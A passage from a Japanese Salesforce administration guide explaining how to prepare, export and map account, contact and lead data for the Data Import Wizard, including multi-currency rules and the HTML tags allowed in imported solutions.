チェックなしの場合は 0 の値を使用します。

• デフォルト値 — インポートウィザードで選択リスト、複数選択リスト、チェックボックス項目に対して、
項目の対応付けを実行していなかった場合、デフォルト値があればその値が自動的に新規または更新レコー
ドに挿入されます。

• 日付/時間項目 — インポートする日付/時間項目の形式が、地域の設定ごとに Salesforce に表示される状態に
一致するようにします。

• 数式項目 — 数式項目は参照のみのため、インポートされたデータを受け入れません。
• 項目の入力規則 — Salesforceは、インポートする前にレコードに対して入力規則を実行します。入力規則に

違反するレコードはインポートされません。インポートするレコードに影響を及ぼす入力規則がある場合、
インポート実行前に、該当する入力規則を無効化することを検討してください。

• 地理位置情報カスタム項目 — データインポートウィザードを使用して地理位置情報カスタム項目をイン
ポートするには、緯度と経度の 2 つの値を入力します。両方の値をセミコロンで区切って 1 つの項目でイ
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ンポートします。1 つの値のみを入力すると、緯度としてインポートされ、経度は 0 として解釈されます。
3 つ以上の値を入力すると、行全体のインポートが失敗します。

• 通貨項目 — CSV ファイルに通貨データがある場合、ロケールに合わせて値を書式設定します。たとえば、
米国のロケールの場合、小数点にピリオド、千単位のマーカーにカンマを使用します。誤った通貨形式を
使用すると、インポートされた値が変更される可能性があります。

関連トピック:

データインポートウィザード
データをインポートする方法の選択
データの Salesforce へのインポート

マルチ通貨のインポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

マルチ通貨が使用可能なように設定されている組織では、異なる通貨で金額を
インポートできます。

組織データのインポート
組織の取引先と取引先責任者、カスタムオブジェクト、リード、またはソリュー
ションをインポートする場合は、インポートファイルの [通貨 ISO コード] 列
を使用して、金額項目の通貨を指定できます。次の規則が適用されます。
• 通貨の入力 - インポートファイルの [通貨 ISO コード] 列に通貨コードを入

力します。通貨コードは、国際基準に従った 3 文字のコードです。たとえ
ば、USD は米国ドルの通貨コードです。[設定] から、[クイック検索] ボック
スに「通貨の管理」と入力し、[通貨の管理] を選択して、組織に有効なコー
ドのリストを表示します。

• 取引先と取引先責任者に単一の通貨を使用 - 取引先と取引先責任者をインポートする場合、取引先と関連
付けられた取引先責任者のどちらにも、[通貨 ISO コード] 列が適用されます。関連付けられた取引先と
取引先責任者に対して、異なる通貨を指定することはできません。

• 通貨コードの更新 - 取引先と取引先責任者の通貨の金額を変更しないで通貨コードを更新する場合、金額
は新しい通貨に対応した数値には換算されません。

• 無効な通貨の入力 - インポートファイルに無効な通貨を入力した場合は、ユーザの個人設定の通貨が代わ
りに使用されます。ただし、金額は変更されません。たとえば、ファイルに入力されている金額が 100 オー
ストラリアドルを表す AUD 100 で、AUD が組織では無効な通貨の場合、この金額は USD 100 としてインポー
トされます (ユーザの個人設定の通貨を米ドルと仮定)。

• 通貨 ISO コード列の除外 - インポートを使用してレコードを作成する際に、[通貨 ISO コード] 列を使用し
ないか、対応付けに失敗した場合は、ユーザの個人設定の通貨が使用されます。たとえば、ファイルに入
力されている金額が 100 で、ユーザの個人設定の通貨が米ドル (通貨コード USD) の場合は、USD 100 として
インポートされます。
インポートを使用して既存のレコードを更新するときに、[通貨 ISO コード] 列を使用しないか、対応付
けに失敗した場合は、すべての金額はレコードの通貨として解釈されます。たとえば、ファイルに入力さ
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れている金額が 100 で、レコードの通貨が EUR (ユーロの通貨コード) の場合、この金額は EUR 100 とみなさ
れます。

関連トピック:

データインポートウィザード

インポートウィザード用のエクスポートファイルの作成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

データを Salesforce にインポートする前に、既存のソフトウェアを使用してデー
タのエクスポートファイルを作成します。
エクスポートファイルに、インポートするすべての情報を保存します。
エクスポートファイルには、新規レコードや既存のレコードへの更新を組み合
わせて保存することができます。重複を防ぐためのレコードの照合方法を選択
します。たとえば、取引先と取引先責任者を名前まはたメールアドレスで照合
する方法を選択できます。メールアドレスで照合する方法を選択すると、イン
ポートデータのレコードが既存のレコードと同じメールアドレスを持つ場合、
Salesforce 内の既存の取引先責任者が更新されます。ただし、レコードの名前が
同じでメールアドレスが異なる場合、レコードは別個に残されます。
1. 既存のソフトウェアを使用してデータのエクスポートファイルを作成しま

す。
• ACT! からのエクスポート
• LinkedIn® からのエクスポート
• Outlook からのエクスポート
• 他のデータソースからのエクスポート
• Salesforce からのエクスポート

2. インポートするデータを確認して、Salesforce の既存のデータと比較して最新であることを確かめてくださ
い。Salesforce データは、インポートファイルのデータのほうが古い場合でも、インポートファイルのデー
タに置き換えられます。

3. 作成したデータ項目とインポート可能な Salesforce 項目を比較し、データを対応付けられる適切な Salesforce

項目があることを確認します。「データのインポートの準備」 (ページ 741)を参照してください。
4. 複数のユーザのデータをインポートする場合、システム管理者は、Excel を使用して複数のソースのエクス

ポートデータを組み合わせ、1 つのカンマ区切り値 (.csv) に結合する必要があります。

メモ: 複数のユーザが作成したレコードをインポートするとき、エクスポートファイルのすべての新
規レコードに [所有者]項目を含める必要があります。この項目には既存の有効なユーザの完全なユー
ザ名または姓と名を含める必要があります。既存のレコードの所有者を変更することはできません。
新規レコードは [所有者] 項目に一覧表示されるユーザに割り当てられます。たとえば、組織の佐藤
次郎さんが所有する必要があるレコードには、ユーザのユーザ名 (「jsato@acme.com」) または姓と名 (た
とえば、「佐藤次郎」) を入力する必要があります。リードをインポートする場合は、リードキューの
名前も指定できます。

738

インポートウィザード用のエクスポートファイルの作成Salesforce 組織の設定および管理



リードをインポートする場合には、[所有者]項目の代わりにリードの割り当てルールを使用しても、
インポートしたデータの所有者を指定できます。

ACT! からのエクスポート
ACT! では、取引先責任者データをテキスト区切り形式でエクスポートし、それをインポートできます。ACT!

(バージョン 4.0 または 2000 の場合) からの取引先責任者データをエクスポート (versions 4.0 or 2000):

1. ACT! を起動し、データベースを開きます。
2. [ファイル] > [データの交換] > [エクスポート...] を選択します。
3. ファイルの種類として [カンマ区切りテキスト] を選択します。
4. エクスポートしたデータのファイル名と保存場所を指定し、[次へ] をクリックします。
5. [取引先責任者レコードのみ] を選択します。
6. [オプション...] ボタンをクリックします。
7. 項目の区切り文字として [カンマ] を選択します。

メモ: カンマを使用しない地域の場合は、タブまたはその他の区切り文字を使用します。データロー
ダの設定 ([設定] | [設定]) で区切り文字を指定します。

8. [はい、項目名をエクスポートする] を選択して、[OK] をクリックします。
9. [次へ] をクリックします。
10. [すべてのレコード] を選択し、[次へ] をクリックします。
11. エクスポート項目順リストのみを残して [完了] をクリックします。

関連トピック:

デフォルトの ACT! 項目の対応
インポートウィザード用のエクスポートファイルの作成

LinkedIn® からのエクスポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

LinkedIn では、取引先責任者データをテキスト区切り形式でエクスポートし、そ
れをインポートできます。
• www.linkedin.com/addressBookExportを開き、[Microsoft Outlook (.CSV

ファイル)] オプションを使用してこのページの手順に従います。

Outlook からのエクスポート
データを Microsoft® Outlook® から直接 CSV (カンマ区切り値) 形式でエクスポートし
ます。次に、そのデータを Salesforce にインポートします。
1. Outlook で、エクスポート機能に移動します。
2. [カンマ区切りの値 (Windows)] を選択し、[次へ] をクリックします。
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メモ: カンマを使用しない地域の場合は、タブまたはその他の区切り文字を使用します。データロー
ダの設定 ([設定] | [設定]) で区切り文字を指定します。

3. エクスポートする取引先責任者が含まれるフォルダを選択して、[次へ] をクリックします。
4. エクスポートしたデータにファイル名を付け、[次へ] をクリックします。
5. [完了] をクリックします。

関連トピック:

デフォルトの Outlook 項目の対応
インポートウィザード用のエクスポートファイルの作成

他のデータソースからのエクスポート
CSV (カンマ区切り値) ファイルの作成が可能であれば、他のどのようなアプリケーションでも、データを
salesforce.com にインポートできます。
1. データソースを CSV ファイルとして保存します。

メモ: カンマを使用しない地域の場合は、タブまたはその他の区切り文字を使用します。データロー
ダの設定 ([設定] | [設定]) で区切り文字を指定します。

2. 1 つの項目に対し取引先責任者が 1 人だけ割り当てられていることを確認します。salesforce.com は 1 つの項
目に 1 つの名前しか受け入れることはできません。

3. 取引先責任者名と役職が 2 つの項目に分けられていることを確認します。salesforce.com は氏名と役職の両方
を含む項目を受け入れることはできません。

4. 1 つの項目に対し電話番号が 1 つだけ割り当てられていることを確認します。

関連トピック:

その他のデータソースと組織データのインポートにおける項目の対応
インポートウィザード用のエクスポートファイルの作成

Salesforce からのエクスポート

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先、キャンペーンメンバー、取引先責任者、カスタムオブジェクト、リー
ド、またはソリューションのレポートを Salesforce からエクスポートして、イン
ポートファイルを作成できます。それぞれのレコードの [取引先 ID]、[キャン
ペーンメンバー ID]、[取引先責任者 ID]、[カスタムオブジェクト ID]、[リー
ド ID]、または [ソリューション ID] 値をレポートに含めます。これらの ID 項
目は Salesforce の一意の識別子であり、作成したデータと既存の Salesforce データ
を正確に一致させるために使用されます。
これらの ID 項目を使用してインポートファイルを作成するには、まず Salesforce

からデータをエクスポートします。
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1. Salesforce で、取引先、キャンペーンメンバー、取引先責任者、カスタムオブジェクト、リード、またはソ
リューションのレポートを実行します。
それぞれの ID 項目およびインポートに必要なその他の項目を含めます。

2. レポートを Excel にエクスポートします。

関連トピック:

インポートウィザード用のエクスポートファイルの作成
動画: Data Import How-To Series (データのインポートのハウツーシリーズ)

データのインポートの準備
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce または既存のアプリケーションからデータをエクスポートした後、イ
ンポートするデータを準備します。

メモ: 用意されている標準の項目と一致しない項目がある場合は、インポー
トの前に、システム管理者に依頼して salesforce.com 上に新たなカスタム項
目を作成してもらう必要があります。

取引先責任者の準備
Excel® を使用して、インポートファイルの列に「その他のデータソースと組
織データのインポートにおける項目の対応」 (ページ748)で指定されている表
示ラベルを付けます。

個人取引先の準備
個人取引先をインポートするときは、Salesforce の項目の表示ラベルをイン
ポートファイルの列ラベルとして使用します。

組織の法人取引先と取引先責任者の準備
組織の法人取引先と取引先責任者をインポートする場合、Excel®を使用して、インポートファイルの列にそ
の他のデータソースと組織データのインポートにおける項目の対応 (ページ 748)で指定されている表示ラベ
ルを付ける必要があります。

組織のリードの準備
一般リードまたはキャンペーンリードをインポートするときは、リードのインポートにおける項目の対応
(ページ 754)で指定されているインポートファイル表示ラベルを使用します。

カスタムオブジェクトの準備
カスタムオブジェクトをインポートするときは、Salesforce のカスタムオブジェクト詳細ページに表示され
ている項目の表示ラベルを、インポートファイルの列ラベルとして使用します。

キャンペーンメンバーの準備
キャンペーンメンバーをインポートするときは、Salesforce の項目の表示ラベルをインポートファイルの列
ラベルとして使用します。

ソリューションの準備
ソリューションをインポートするときは、Salesforce の項目の表示ラベルをインポートファイルの列ラベル
として使用します。
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Salesforceにインポートするソリューションには HTML 形式で入力することができます。ただし、組織で HTML

ソリューションを有効にしていない場合は、ソリューションがインポートされた後に HTML タグが表示され
ます。
セキュリティ対策として、Salesforceは、すべての HTML ソリューションについて、潜在的に悪意のある HTML

を自動的にフィルタで排除します。HTML ソリューションに潜在的に悪意のある HTML を検出すると、その
HTML を削除するかテキストに変換してユーザに表示します。潜在的に悪意のある HTML が HTML ソリュー
ションから削除されても、ユーザは気づきません。
HTML 形式で作成したソリューションは Salesforce にインポートできます。ただし、セキュリティ対策とし
て、下にリストされている HTML タグのみが許可されます。下にリストされていない HTML タグは、HTML ソ
リューションに保存されるときに削除されます。また、<script> タグと <iframe> タグのコンテンツの
すべては、JavaScript の場合と同様、HTML ソリューションに保存されるときに削除されます。カスケードス
タイルシート (CSS) は、HTML ソリューションではサポートされていません。
次の HTML タグは、Salesforce にインポートされる HTML ソリューションで使用できます。

<q><dt><a>

<samp><em><abbr>

<small><font><acronym>

<span><h1><address>

<strike><h2><b>

<strong><h3><bdo>

<sub><h4><big>

<sup><h5><blockquote>

<table><h6><br>

<tbody><hr><caption>

<td><i><cite>

<tfoot><img><code>

<th><ins><col>

<thead><kbd><colgroup>

<tr><li><dd>

<tt><ol><del>

<ul><p><dfn>

<var><pre><div>

<dl>

上記のタグの中に、次の属性を含めることができます。
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sizefacealt

srcheightbackground

stylehrefborder

targetnameclass

widthrowspancolspan

上記の属性のうち URL を含めることができるのは、次の文字列で始まる URL に限られます。
• http:

• https:

• file:

• ftp:

• mailto:

• #

• /  (相対リンクの場合)

関連トピック:

デフォルトの ACT! 項目の対応
デフォルトの Outlook 項目の対応
インポートウィザード用のエクスポートファイルの作成

デフォルトの ACT! 項目の対応

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

この表は、データのインポートにおいて ACT! の項目が Salesforce 項目にどのよう
に一致するかを示した詳細です。

メモ:  ACT! のレコードで、同じ会社に対して複数の取引先責任者が登録され
ている場合、インポートウィザードは 1 つの取引先に対して複数の取引先
責任者を作成します。

インポート項目ACT! 項目

取引先責任者: [町名・番地(郵送先)]

および
取引先: [住所(請求先)]

町名・番地 1

取引先責任者: [町名・番地(郵送先)]

および
取引先: [住所(請求先)]

町名・番地 2
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インポート項目ACT! 項目

取引先責任者: [町名・番地(郵送先)] および
取引先: [住所(請求先)]

町名・番地 3

取引先責任者: [電話(その他)]代替電話

取引先責任者: [その他の内線]代替電話内線番号

取引先責任者: [アシスタント名]アシスタント

取引先責任者: [アシスタント電話]アシスタント電話

取引先責任者: [アシスタント内線番号]アシスタント内線

取引先責任者: [市区郡(郵送先)] および
取引先: [市区郡(請求先)]

市区郡

取引先: [名前]会社

取引先責任者: [氏名]取引先責任者

取引先責任者: [国(郵送先)] および
取引先: [国(請求先)]

国

取引先責任者: [部署]部署

取引先責任者: [メール]メールログイン
(これが jsato@acme.com という形式の有効なメールアド
レスであるか、インポートウィザードが検証します)

取引先責任者: Fax および
取引先: Fax

Fax

取引先責任者: [Fax の内線]Fax 内線

取引先責任者: [名]名

取引先責任者: [町名・番地 1 (その他)]町名・番地 1 (自宅)

取引先責任者: [町名・番地 2 (その他)]町名・番地 2 (自宅)

取引先責任者: [町名・番地 3 (その他)]町名・番地 3 (自宅)

取引先責任者: [市区郡(その他)]市町村 (自宅)

取引先責任者: [国(その他)]国(自宅)

取引先責任者: [自宅電話]自宅電話

取引先責任者: [都道府県(その他)]都道府県(自宅)
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インポート項目ACT! 項目

取引先責任者: [郵便番号(その他)]郵便番号 (自宅)

取引先: [種類]ID/状況

取引先責任者: [姓]姓

取引先責任者: [携帯電話]携帯電話

インポートしないメモ

取引先責任者: [電話] および
取引先: [電話]

電話

取引先責任者: [内線]内線

取引先責任者: [リードソース]参照事項

取引先: [年間売上]年間売上

取引先責任者: [都道府県(郵送先)] および
取引先: [都道府県(請求先)]

都道府県

取引先: [株式コード]株式コード

取引先責任者: [タイトル]役職

取引先: [Web サイト]Web サイト

取引先責任者: [取引先責任者 郵便番号(郵送先)]

取引先: [取引先 郵便番号(請求先)]

郵便番号

取引先責任者 2: [名前]取引先責任者 2 氏名

取引先責任者 2: [電話]取引先責任者 2 電話

取引先責任者 2: [内線]取引先責任者 2 内線

取引先責任者 2: [タイトル]取引先責任者 2 役職

取引先責任者 3: [名前]取引先責任者 3 氏名

取引先責任者 3: [電話]取引先責任者 3 電話

取引先責任者 3: [内線]取引先責任者 3 内線

取引先責任者 3: [タイトル]取引先責任者 3 役職

取引先責任者: [メモ]または取引先: [メモ]

(Professional Edition、Enterprise Edition、Unlimited Edition、
Performance Edition、および Developer Edition の組織では、

[2nd Last Reach], [3rd Last Reach], [Asst.

Title], [最終試行日], [Last Meeting], [Last

Reach], [Last Results], [Letter Date], [ポケッ
トベル], [配偶者], [User 1-15]
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インポート項目ACT! 項目

どの項目が取引先責任者や取引先のメモにインポート
されるかを指定してください。それぞれの ACT! 項目に
対する個別メモは作成されません。)

関連トピック:

ACT! からのエクスポート
データのインポートの準備

デフォルトの Outlook 項目の対応

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

この表は、データのインポートにおいて Outlook の項目が Salesforce 項目にどのよ
うに一致するかを示した詳細です。

インポート項目Outlook 項目

取引先責任者: [アシスタント名]秘書

取引先責任者: [アシスタント電話]秘書の電話

取引先責任者: [誕生日]誕生日

取引先責任者: [市区郡(郵送先)] およ
び
取引先: [市区郡(請求先)]

市町村 (会社)

取引先責任者: [国(郵送先)] および
取引先: [国(請求先)]

国 (会社)

取引先責任者: Fax および
取引先: Fax

会社 FAX

取引先責任者: [電話]会社電話

取引先責任者: [取引先責任者 郵便番号
(郵送先)]

取引先: [取引先 郵便番号(請求先)]

郵便番号 (会社)

取引先責任者: [町名・番地(郵送先)]

および
取引先: [住所(請求先)]

番地 (会社)
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インポート項目Outlook 項目

取引先責任者: [町名・番地(郵送先)] および
取引先: [住所(請求先)]

番地 2 (会社)

取引先責任者: [町名・番地(郵送先)] および
取引先: [住所(請求先)]

番地 3 (会社)

取引先: [取引先名]および
取引先責任者: [取引先]

会社名

取引先: [電話]会社代表電話

取引先責任者: [部署]部署

取引先責任者: [メール]電子メール
(これが jsato@acme.com という形式の有効なメールアド
レスであるか、インポートウィザードが検証します)

取引先責任者: [名]名

取引先責任者: [市区郡(その他)]市町村 (自宅)

取引先責任者: [国(その他)]国 (自宅)

取引先責任者: [自宅電話]自宅電話

取引先責任者: [郵便番号(その他)]郵便番号 (自宅)

取引先責任者: [町名・番地(その他)]番地 (自宅)

取引先責任者: [町名・番地(その他)]番地 2(自宅)

取引先責任者: [町名・番地(その他)]番地 3(自宅)

取引先責任者: [タイトル]役職

取引先責任者: [姓]姓

取引先責任者: [上司]

(この項目にある氏名が現行の salesforce.com 内に存在し
ない場合は、この氏名の新しい取引先責任者を自動的
に作成します。)

上司

取引先責任者: [携帯電話]携帯電話

取引先責任者: [説明]メモ

取引先責任者: [電話(その他)]その他の電話
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インポート項目Outlook 項目

取引先責任者: [リードソース]参照事項

取引先責任者: [敬称]役職

取引先: [Web サイト]Web ページ

取引先責任者: [メモ]または取引先: [メモ]

(Professional Edition、Enterprise Edition、Unlimited Edition、
Performance Edition、および Developer Edition の組織では、

[取引先]、[記念日]、[請求情報]、[会社電話 2]、
[コールバック]、[自動車電話]、[カテゴリ]、[子、
ディレクトリサーバ]、[メール 2]、[メール 3]、[ID

番号]、[趣味]、[自宅 FAX]、[自宅電話 2]、[イン どの項目が取引先責任者や取引先のメモにインポート
ターネット空き時間情報アドレス]、[ISDN、キーワー されるかを指定してください。それぞれの Outlook 項

目に対する個別メモは作成されません。)ド]、[言語]、[場所]、[ミドルネーム]、[経費情報]、
[事業所]、[会社 ID]、[市区郡(その他)]、[国 (そ
の他)]、[その他の FAX]、[郵便番号 (その他)]、[都
道府県 (その他)]、[町名・番地(その他)]、[町名・
番地 2(その他)]、[町名・番地 3(その他)]、[ポケッ
トベル]、[私書箱(郵送先)]、[通常の電話]、[職業]、
[無線電話]、[配偶者]、[肩書き]、[テレックス]、
TTY/TDD、[ユーザ 1]、[ユーザ 2]、[ユーザ 3]、
[ユーザ 4]

関連トピック:

Outlook からのエクスポート
データのインポートの準備

その他のデータソースと組織データのインポートにおける項目の対応

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

組織のインポートができ
ないエディション:
Personal Edition、
Database.com Edition

組織の取引先データや取引先責任者データのインポートを行う場合や、Outlook

または ACT! 以外のソースからデータのインポートを行う場合、インポートウィ
ザードはできるだけ正確にインポートを行います。インポートを行う前に対応
付けを調整する必要があります。Salesforceでは、データをインポートする前に、
Excel を使用して以下の表のようにそれぞれの項目について表示ラベルを付ける
ことをお勧めします。

メモ: 以下にリストされるデフォルトの対応付けは、インポートのガイド
として提供されており、データの対応付けの正確性を 100% 保証するもので
はありません。インポートウィザードで項目を調整する必要があります。
必要に応じて、取引先項目と取引先責任者の住所項目など、同じ項目を何
度も対応付けることができます。
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取引先責任者と取引先の共通項目

Salesforce 項目インポートファイルの表示ラベル

取引先責任者: [取引先責任者 所有者] および
取引先: [取引先所有者]

所有者
(注意: 個人のインポートの場合、ユーザが自動的にイ
ンポートデータの所有者に割り当てられるためこの項
目を設定する必要はありません。また、Salesforce レ
コード ID 別にレコードをインポートするときには、
この項目が無視されます。)

取引先責任者: [取引先責任者 通貨] および
取引先: [取引先 通貨]

通貨 ISO コード
(注意: この項目は、マルチ通貨を使用する組織での組
織データのインポートにのみ使用できます。詳細は、
「マルチ通貨のインポート」 (ページ 737)を参照して
ください)。

取引先責任者の項目

Salesforce 項目インポートファイルの表示ラベル

取引先責任者: [アシスタント]アシスタント

取引先責任者: [アシスタント電話]アシスタント電話

取引先責任者: [アシスタント電話]アシスタント内線番号

取引先責任者: [誕生日]誕生日

取引先責任者: [Fax]会社 FAX

取引先責任者: [Fax]Fax の内線

取引先責任者: [電話]会社電話

取引先責任者: [電話]内線

取引先責任者: [説明]取引先責任者 説明

取引先責任者: [名] および
取引先責任者: [姓]

[取引先責任者 氏名]または
姓、名
(注意: 取引先責任者名をインポートする際には、[取
引先責任者 氏名] 項目または [名]と [姓] 項目の、
どちらか一方のみを含めてください)。

取引先責任者: [取引先責任者 ID]取引先責任者 ID

(注意: レコード ID は大文字小文字を区別するため、変
更しないでください。)
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取引先責任者の項目

Salesforce 項目インポートファイルの表示ラベル

メモを作成し取引先責任者に添付取引先責任者 メモ

取引先責任者: [部署]部署

取引先責任者: [メール]メールアドレス
(注意: 有効な形式のメールアドレス (jsato@acme.com) に
なっているか、インポートウィザードで検証されま
す)。

取引先責任者: [メール送信除外]メール送信除外
(注意: 送信除外を希望するユーザには「1」、メール
送信を希望するユーザには「0」を使用します)。

取引先責任者: [自宅電話]自宅電話

取引先責任者: [自宅電話]自宅電話内線

取引先責任者: [リードソース]リードソース

取引先責任者: [市区郡(郵送先)]市区郡(郵送先)

取引先責任者: [国(郵送先)]国(郵送先)

取引先責任者: [郵便番号(郵送先)]取引先責任者 郵便番号(郵送先)

取引先責任者: [都道府県(郵送先)]都道府県(郵送先)

取引先責任者: [町名・番地(郵送先)]取引先責任者 町名・番地 1(郵送先)

取引先責任者: [町名・番地(郵送先)]取引先責任者 町名・番地 2(郵送先)

取引先責任者: [町名・番地(郵送先)]取引先責任者 町名・番地 3(郵送先)

取引先責任者: [携帯]携帯電話

取引先責任者: [携帯]携帯(その他)

取引先責任者: [市区郡(その他)]市区郡(その他)

取引先責任者: [国(その他)]国(その他)

取引先責任者: [電話(その他)]電話(その他)

取引先責任者: [電話(その他)]その他の内線

取引先責任者: [郵便番号(その他)]郵便番号(その他)

取引先責任者: [都道府県(その他)]都道府県(その他)

取引先責任者: [町名・番地(その他)]町名・番地 1 (その他)
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取引先責任者の項目

Salesforce 項目インポートファイルの表示ラベル

取引先責任者: [町名・番地(その他)]町名・番地 2 (その他)

取引先責任者: [町名・番地(その他)]町名・番地 3 (その他)

取引先責任者: [上司]上司
(注意: インポートウィザードがこの名前の取引先責任
者を項目内で見つけられない場合は、この名前 ([名]

と[姓]) を使用して新規取引先責任者を作成します)。

取引先責任者: [名]敬称

取引先責任者: [役職]役職

取引先責任者: 取引先に対する第 2 取引先責任者の[姓]

および[名]

取引先責任者 2 氏名

取引先責任者: 取引先に対する第 2 取引先責任者の[電
話]

取引先責任者 2 電話

追加取引先責任者: 取引先に対する第 2 取引先責任者
の[電話]

取引先責任者 2 内線

取引先責任者: 取引先に対する第 2 取引先責任者の[役
職]

取引先責任者 2 役職

取引先責任者: 取引先に対する第 3 取引先責任者の[姓]

および[名]

取引先責任者 3 氏名

取引先責任者: 取引先に対する第 3 取引先責任者の[電
話]

取引先責任者 3 電話

追加取引先責任者: 取引先に対する第 3 取引先責任者
の[電話]

取引先責任者 3 内線

取引先責任者: 取引先に対する第 3 取引先責任者の[役
職]

取引先責任者 3 役職

取引先項目

Salesforce 項目インポートファイルの表示ラベル

取引先: [説明]取引先 説明

取引先: [取引先 ディビジョン]取引先 ディビジョン
(注意: インポートウィザードのステップ 1 で、ドロッ
プダウンリストからディビジョンを割り当てた場合
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取引先項目

Salesforce 項目インポートファイルの表示ラベル

は、この項目を指定する必要はありません。この項目
を対応付けず、ディビジョンのドロップダウンリスト
も使用しな場合、このディビジョンは、各レコードの
所有者のデフォルトのディビジョンに設定されます。)

取引先: [Fax]取引先 Fax

取引先: Fax取引先 Fax 内線

取引先: [取引先 ID]取引先 ID

(注意: レコード ID は大文字小文字を区別するため、変
更しないでください。)

取引先: [取引先名]および
取引先責任者: [取引先]

取引先名

メモを作成し、取引先に添付取引先 メモ

取引先: [取引先番号]取引先番号

取引先: [電話]取引先 電話

取引先: [電話]取引先 内線番号

取引先: [取引先 部門]取引先 部門

取引先: [種類]取引先 種別

取引先: [市区郡(請求先)]市区郡(請求先)

取引先: [国(請求先)]国(請求先)

取引先: [郵便番号(請求先)]取引先 郵便番号(請求先)

取引先: [都道府県(請求先)]都道府県(請求先)

取引先: [住所(請求先)]取引先 町名・番地 1(請求先)

取引先: [住所(請求先)]取引先 町名・番地 2(請求先)

取引先: [住所(請求先)]取引先 町名・番地 3(請求先)

取引先: [従業員数]従業員数

取引先: [業種]業種

取引先: [会社形態]会社形態

取引先: [親取引先]親取引先
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取引先項目

Salesforce 項目インポートファイルの表示ラベル

(注意: インポートウィザードで親取引先名に一致する
取引先が見つからない場合は、この会社名を[取引先
名]として使用して、新規取引先を追加作成します)。

取引先: [取引先 部門]

(注意: 親取引先の [取引先 部門]項目に対応します)。
親取引先 部門
(注意:[親取引先]の部門の値を示します)。

取引先: [評価]評価

取引先: [年間売上]年間売上

取引先: [市区郡(納入先)]市区郡(納入先)

取引先: [国(納入先)]国(納入先)

取引先: [郵便番号(納入先)]郵便番号(納入先)

取引先: [都道府県(納入先)]都道府県(納入先)

取引先: [住所(納入先)]取引先 町名・番地 1(納入先)

取引先: [住所(納入先)]取引先 町名・番地 2(納入先)

取引先: [住所(納入先)]取引先 町名・番地 3(納入先)

取引先: [産業コード]産業コード

取引先: [株式コード]株式コード

取引先: [Web サイト]Web サイト

関連トピック:

データのインポートの準備
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リードのインポートにおける項目の対応

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

リードをインポートする前に、次の表の表示ラベルを使用してインポートファ
イルの列にラベルを付けることをお勧めします。リードをインポートするとき
に、データインポートウィザードではインポートファイルの項目ができるだけ
正確に対応付けされますが、必要に応じて対応付けを調整します。

メモ: 次のデフォルトの対応付けは、参考として示されています。データ
の対応付けの正確性を 100% 保証するものではないため、データインポート
ウィザードで対応付けを調整する必要があります。

Salesforce リード入力項目インポートファイルの表示ラベル

年間売上年間売上

市区郡市区郡

会社会社

国国

リード 通貨通貨 ISO コード
(注意: この項目は、マルチ通貨を使用
している組織でのみ使用できます。詳
細は、「マルチ通貨のインポート」
(ページ 737)を参照してください。)

説明説明

メールメール
(これが jsato@acme.com という形式の有
効なメールアドレスであるか、データ
インポートウィザードが検証します。)

メール送信除外メール送信除外
(送信除外を希望するユーザには「1」、
メール送信を希望するユーザには「0」
を使用します。)

従業員数従業員数

FaxFax

[名] と [姓][氏名] または [名] と [姓]

(注意: リード名をインポートする場合
は、[氏名] または [名] と [姓] のい
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Salesforce リード入力項目インポートファイルの表示ラベル

ずれかを使用します。両方は使用できません。)

業種業種

リード ディビジョンリード ディビジョン
(注意: データインポートウィザードのステップ 1 で、
ドロップダウンリストからディビジョンを割り当てた
場合は、この項目を指定する必要はありません。この
項目を対応付けず、ディビジョンのドロップダウンリ
ストも使用しない場合、このディビジョンは、各レ
コードの所有者のデフォルトのディビジョンに設定さ
れます。)

リード IDリード ID

(注意: レコード ID は大文字小文字を区別するため、変
更しないでください。)

リードソースリードソース
(注意: データインポートウィザードの最初のページで
すべてのリードに同じ [リードソース] を割り当てた
場合は、この項目を指定する必要はありません。)

リード状況リード状況

携帯携帯電話

電話電話

郵便番号郵便番号

評価評価

リード 所有者所有者
(注意: リードの割り当てルールで所有者を割り当てる
場合、この項目は不要です。また、Salesforceレコード
ID 別にレコードをインポートするときには、この項目
が無視されます。)

[名] の前に追加されます敬称

都道府県都道府県

状況状況
(リードの [キャンペーン履歴] 関連リスト)
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Salesforce リード入力項目インポートファイルの表示ラベル

町名・番地町名・番地 1

町名・番地町名・番地 2

町名・番地町名・番地 3

役職役職

Web サイトWeb サイト

このリストにレコードタイプを含めると、データインポートウィザードは新規レコードの作成時にレコード所
有者のデフォルトレコードタイプを使用します。既存のレコードの場合、データインポートウィザードはレ
コードタイプ項目を更新しません。
割り当てルールの使用を選択した場合、データインポートウィザードは新規レコードの作成時に新規所有者の
デフォルトレコードタイプを使用します。割り当てルールによりレコードがキューに割り当てられる場合は、
キュー所有者のデフォルトレコードタイプが使用されます。

関連トピック:

データのインポートの準備

データインポートウィザード
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

データインポートウィザードを使用すると、取引先、取引先責任者、リード、
ソリューション、キャンペーンメンバー、個人取引先など、多くの標準Salesforce

オブジェクトのデータを容易にインポートできます。また、カスタムオブジェ
クトのデータもインポートできます。一度にインポートできるレコードの最大
数は 5 万件です。
最初に小さなファイルをテストして、ソースデータが正しく準備されているこ
とを確認することをお勧めします。
データインポートウィザードは次のブラウザでサポートされています。
• Google Chrome™ バージョン 29 以降
• Mozilla® Firefox® バージョン 23 以降
